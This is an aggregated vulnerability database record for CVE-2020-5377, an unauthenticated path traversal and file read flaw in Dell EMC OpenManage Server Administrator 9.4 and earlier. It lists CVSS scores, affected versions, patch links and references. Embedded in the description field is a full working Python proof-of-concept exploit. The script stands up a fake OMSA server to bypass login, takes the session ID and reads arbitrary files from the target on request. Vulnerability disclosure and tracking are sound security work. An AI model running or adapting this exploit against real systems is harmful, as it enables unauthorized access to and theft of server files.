ID

VAR-202007-1286


CVE

CVE-2020-5377


TITLE

Dell EMC OpenManage Server Administrator Path traversal vulnerability in

Trust: 0.8

sources: JVNDB: JVNDB-2020-008945

DESCRIPTION

Dell EMC OpenManage Server Administrator (OMSA) versions 9.4 and prior contain multiple path traversal vulnerabilities. An unauthenticated remote attacker could potentially exploit these vulnerabilities by sending a crafted Web API request containing directory traversal character sequences to gain file system access on the compromised management station. The solution supports online diagnosis, system operation detection, equipment management, etc. A remote attacker could exploit this vulnerability to gain access to the file system. # CVE: CVE-2020-5377 # This is a proof of concept for CVE-2020-5377, an arbitrary file read in Dell OpenManage Administrator # Proof of concept written by: David Yesland @daveysec with Rhino Security Labs # More information can be found here: # A patch for this issue can be found here: # https://www.dell.com/support/article/en-us/sln322304/dsa-2020-172-dell-emc-openmanage-server-administrator-omsa-path-traversal-vulnerability from xml.sax.saxutils import escape import BaseHTTPServer import requests import thread import ssl import sys import re import os import urllib3 urllib3.disable_warnings() if len(sys.argv) < 3: print 'Usage python auth_bypass.py <yourIP> <targetIP>:<targetPort>' exit() #This XML to imitate a Dell OMSA remote system comes from https://www.exploit-db.com/exploits/39909 #Also check out https://github.com/hantwister/FakeDellOM class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler): def do_POST(s): data = '' content_len = int(s.headers.getheader('content-length', 0)) post_body = s.rfile.read(content_len) s.send_response(200) s.send_header("Content-type", "application/soap+xml;charset=UTF-8") s.end_headers() if "__00omacmd=getuserrightsonly" in post_body: data = escape("<SMStatus>0</SMStatus><UserRightsMask>458759</UserRightsMask>") if "__00omacmd=getaboutinfo " in post_body: data = escape("<ProductVersion>6.0.3</ProductVersion>") if data: requid = re.findall('>uuid:(.*?)<',post_body)[0] s.wfile.write('''<?xml version="1.0" encoding="UTF-8"?> <s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:n1="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule"> <s:Header> <wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To> <wsa:RelatesTo>uuid:'''+requid+'''</wsa:RelatesTo> <wsa:MessageID>0d70cce2-05b9-45bb-b219-4fb81efba639</wsa:MessageID> </s:Header> <s:Body> <n1:SendCmd_OUTPUT> <n1:ResultCode>0</n1:ResultCode> <n1:ReturnValue>'''+data+'''</n1:ReturnValue> </n1:SendCmd_OUTPUT> </s:Body> </s:Envelope>''') else: s.wfile.write('''<?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><s:Header/><s:Body><wsmid:IdentifyResponse><wsmid:ProtocolVersion>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</wsmid:ProtocolVersion><wsmid:ProductVendor>Fake Dell Open Manage Server Node</wsmid:ProductVendor><wsmid:ProductVersion>1.0</wsmid:ProductVersion></wsmid:IdentifyResponse></s:Body></s:Envelope>''') def log_message(self, format, *args): return createdCert = False if not os.path.isfile('./server.pem'): print '[-] No server.pem certifcate file found. Generating one...' os.system('openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes -subj "/C=NO/ST=NONE/L=NONE/O=NONE/OU=NONE/CN=NONE.com"') createdCert = True def startServer(): server_class = BaseHTTPServer.HTTPServer httpd = httpd = server_class(('0.0.0.0', 443), MyHandler) httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True) httpd.serve_forever() thread.start_new_thread(startServer,()) myIP = sys.argv[1] target = sys.argv[2] def bypassAuth(): values = {} url = "https://{}/LoginServlet?flag=true&managedws=false".format(target) data = {"manuallogin": "true", "targetmachine": myIP, "user": "VULNERABILITY:CVE-2020-5377", "password": "plz", "application": "omsa", "ignorecertificate": "1"} r = requests.post(url, data=data, verify=False, allow_redirects=False) cookieheader = r.headers['Set-Cookie'] sessionid = re.findall('JSESSIONID=(.*?);',cookieheader) pathid = re.findall('Path=/(.*?);',cookieheader) values['sessionid'] = sessionid[0] values['pathid'] = pathid[0] return values ids = bypassAuth() sessionid = ids['sessionid'] pathid = ids['pathid'] print "Session: "+sessionid print "VID: "+pathid def readFile(target,sessid,pathid): while True: file = raw_input('file > ') url = "https://{}/{}/DownloadServlet?help=Certificate&app=oma&vid={}&file={}".format(target,pathid,pathid,file) cookies = {"JSESSIONID": sessid} r = requests.get(url, cookies=cookies, verify=False) print 'Reading contents of {}:\n{}'.format(file,r.content) def getPath(path): if path.lower().startswith('c:\\'): path = path[2:] path = path.replace('\\','/') return path readFile(target,sessionid,pathid)

Trust: 1.89

sources: NVD: CVE-2020-5377 // JVNDB: JVNDB-2020-008945 // VULHUB: VHN-183502 // VULMON: CVE-2020-5377 // PACKETSTORM: 162110

AFFECTED PRODUCTS

vendor:dellmodel:emc openmanage server administratorscope:lteversion:9.4

Trust: 1.0

vendor:dellmodel:openmanage server administratorscope:eqversion:9.4

Trust: 0.8

sources: JVNDB: JVNDB-2020-008945 // NVD: CVE-2020-5377

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2020-5377
value: CRITICAL

Trust: 1.0

security_alert@emc.com: CVE-2020-5377
value: CRITICAL

Trust: 1.0

NVD: JVNDB-2020-008945
value: CRITICAL

Trust: 0.8

CNNVD: CNNVD-202007-1589
value: CRITICAL

Trust: 0.6

VULHUB: VHN-183502
value: MEDIUM

Trust: 0.1

VULMON: CVE-2020-5377
value: MEDIUM

Trust: 0.1

nvd@nist.gov: CVE-2020-5377
severity: MEDIUM
baseScore: 6.4
vectorString: AV:N/AC:L/AU:N/C:P/I:P/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: NONE
exploitabilityScore: 10.0
impactScore: 4.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.1

NVD: JVNDB-2020-008945
severity: MEDIUM
baseScore: 6.4
vectorString: AV:N/AC:L/AU:N/C:P/I:P/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: NONE
exploitabilityScore: NONE
impactScore: NONE
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.8

VULHUB: VHN-183502
severity: MEDIUM
baseScore: 6.4
vectorString: AV:N/AC:L/AU:N/C:P/I:P/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: NONE
exploitabilityScore: 10.0
impactScore: 4.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

nvd@nist.gov: CVE-2020-5377
baseSeverity: CRITICAL
baseScore: 9.1
vectorString: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: NONE
exploitabilityScore: 3.9
impactScore: 5.2
version: 3.1

Trust: 2.0

NVD: JVNDB-2020-008945
baseSeverity: CRITICAL
baseScore: 9.1
vectorString: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: NONE
exploitabilityScore: NONE
impactScore: NONE
version: 3.0

Trust: 0.8

sources: VULHUB: VHN-183502 // VULMON: CVE-2020-5377 // JVNDB: JVNDB-2020-008945 // CNNVD: CNNVD-202007-1589 // NVD: CVE-2020-5377 // NVD: CVE-2020-5377

PROBLEMTYPE DATA

problemtype:CWE-22

Trust: 1.9

sources: VULHUB: VHN-183502 // JVNDB: JVNDB-2020-008945 // NVD: CVE-2020-5377

THREAT TYPE

remote

Trust: 0.7

sources: PACKETSTORM: 162110 // CNNVD: CNNVD-202007-1589

TYPE

path traversal

Trust: 0.6

sources: CNNVD: CNNVD-202007-1589

CONFIGURATIONS

sources: JVNDB: JVNDB-2020-008945

EXPLOIT AVAILABILITY

sources: VULHUB: VHN-183502

PATCH

title:DSA-2020-172url:https://www.dell.com/support/article/ja-jp/sln322304/dsa-2020-172-dell-emc-openmanage-server-administrator-omsa-path-traversal-vulnerability?lang=en

Trust: 0.8

title:Dell EMC OpenManage Server Administrator Repair measures for path traversal vulnerabilitiesurl:http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=125106

Trust: 0.6

title: - url:https://github.com/merlinepedra25/RHINOSECURITY-CVEs

Trust: 0.1

title: - url:https://github.com/merlinepedra/RHINOECURITY-CVEs

Trust: 0.1

title:AWS-CVEsurl:https://github.com/sunzu94/AWS-CVEs

Trust: 0.1

title: - url:https://github.com/H4cksploit/CVEs-master

Trust: 0.1

title:kenzer-templatesurl:https://github.com/Elsfa7-110/kenzer-templates

Trust: 0.1

title:kenzer-templatesurl:https://github.com/ARPSyndicate/kenzer-templates

Trust: 0.1

sources: VULMON: CVE-2020-5377 // JVNDB: JVNDB-2020-008945 // CNNVD: CNNVD-202007-1589

EXTERNAL IDS

db:NVDid:CVE-2020-5377

Trust: 2.7

db:PACKETSTORMid:162110

Trust: 1.9

db:JVNDBid:JVNDB-2020-008945

Trust: 0.8

db:CNNVDid:CNNVD-202007-1589

Trust: 0.7

db:EXPLOIT-DBid:49750

Trust: 0.6

db:CNVDid:CNVD-2020-43618

Trust: 0.1

db:VULHUBid:VHN-183502

Trust: 0.1

db:VULMONid:CVE-2020-5377

Trust: 0.1

db:EXPLOIT-DBid:39909

Trust: 0.1

sources: VULHUB: VHN-183502 // VULMON: CVE-2020-5377 // JVNDB: JVNDB-2020-008945 // PACKETSTORM: 162110 // CNNVD: CNNVD-202007-1589 // NVD: CVE-2020-5377

REFERENCES

url:http://packetstormsecurity.com/files/162110/dell-openmanage-server-administrator-9.4.0.0-file-read.html

Trust: 2.5

url:https://www.dell.com/support/article/en-us/sln322304/dsa-2020-172-dell-emc-openmanage-server-administrator-omsa-path-traversal-vulnerability?lang=en

Trust: 1.8

url:https://nvd.nist.gov/vuln/detail/cve-2020-5377

Trust: 1.5

url:https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2020-5377

Trust: 0.8

url:https://www.exploit-db.com/exploits/49750

Trust: 0.6

url:https://vigilance.fr/vulnerability/dell-emc-openmanage-server-administrator-directory-traversal-32934

Trust: 0.6

url:https://cwe.mitre.org/data/definitions/22.html

Trust: 0.1

url:https://nvd.nist.gov

Trust: 0.1

url:https://github.com/hantwister/fakedellom

Trust: 0.1

url:http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/dcim_oem_dataaccessmodule">

Trust: 0.1

url:http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:to>

Trust: 0.1

url:https://{}/loginservlet?flag=true&managedws=false".format(target)

Trust: 0.1

url:https://{}/{}/downloadservlet?help=certificate&app=oma&vid={}&file={}".format(target,pathid,pathid,file)

Trust: 0.1

url:https://www.exploit-db.com/exploits/39909

Trust: 0.1

url:https://www.dell.com/support/article/en-us/sln322304/dsa-2020-172-dell-emc-openmanage-server-administrator-omsa-path-traversal-vulnerability

Trust: 0.1

url:http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"

Trust: 0.1

url:http://schemas.xmlsoap.org/ws/2004/08/addressing"

Trust: 0.1

url:http://www.w3.org/2003/05/soap-envelope"

Trust: 0.1

url:http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><s:header/><s:body><wsmid:identifyresponse><wsmid:protocolversion>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</wsmid:protocolversion><wsmid:productvendor>fake

Trust: 0.1

sources: VULHUB: VHN-183502 // VULMON: CVE-2020-5377 // JVNDB: JVNDB-2020-008945 // PACKETSTORM: 162110 // CNNVD: CNNVD-202007-1589 // NVD: CVE-2020-5377

CREDITS

Rhino Security Labs

Trust: 0.7

sources: PACKETSTORM: 162110 // CNNVD: CNNVD-202007-1589

SOURCES

db:VULHUBid:VHN-183502
db:VULMONid:CVE-2020-5377
db:JVNDBid:JVNDB-2020-008945
db:PACKETSTORMid:162110
db:CNNVDid:CNNVD-202007-1589
db:NVDid:CVE-2020-5377

LAST UPDATE DATE

2024-11-23T22:51:18.802000+00:00


SOURCES UPDATE DATE

db:VULHUBid:VHN-183502date:2022-01-01T00:00:00
db:VULMONid:CVE-2020-5377date:2022-01-01T00:00:00
db:JVNDBid:JVNDB-2020-008945date:2020-10-08T00:00:00
db:CNNVDid:CNNVD-202007-1589date:2021-04-08T00:00:00
db:NVDid:CVE-2020-5377date:2024-11-21T05:34:01.700

SOURCES RELEASE DATE

db:VULHUBid:VHN-183502date:2020-07-28T00:00:00
db:VULMONid:CVE-2020-5377date:2020-07-28T00:00:00
db:JVNDBid:JVNDB-2020-008945date:2020-10-08T00:00:00
db:PACKETSTORMid:162110date:2021-04-07T20:06:30
db:CNNVDid:CNNVD-202007-1589date:2020-07-28T00:00:00
db:NVDid:CVE-2020-5377date:2020-07-28T18:15:21.347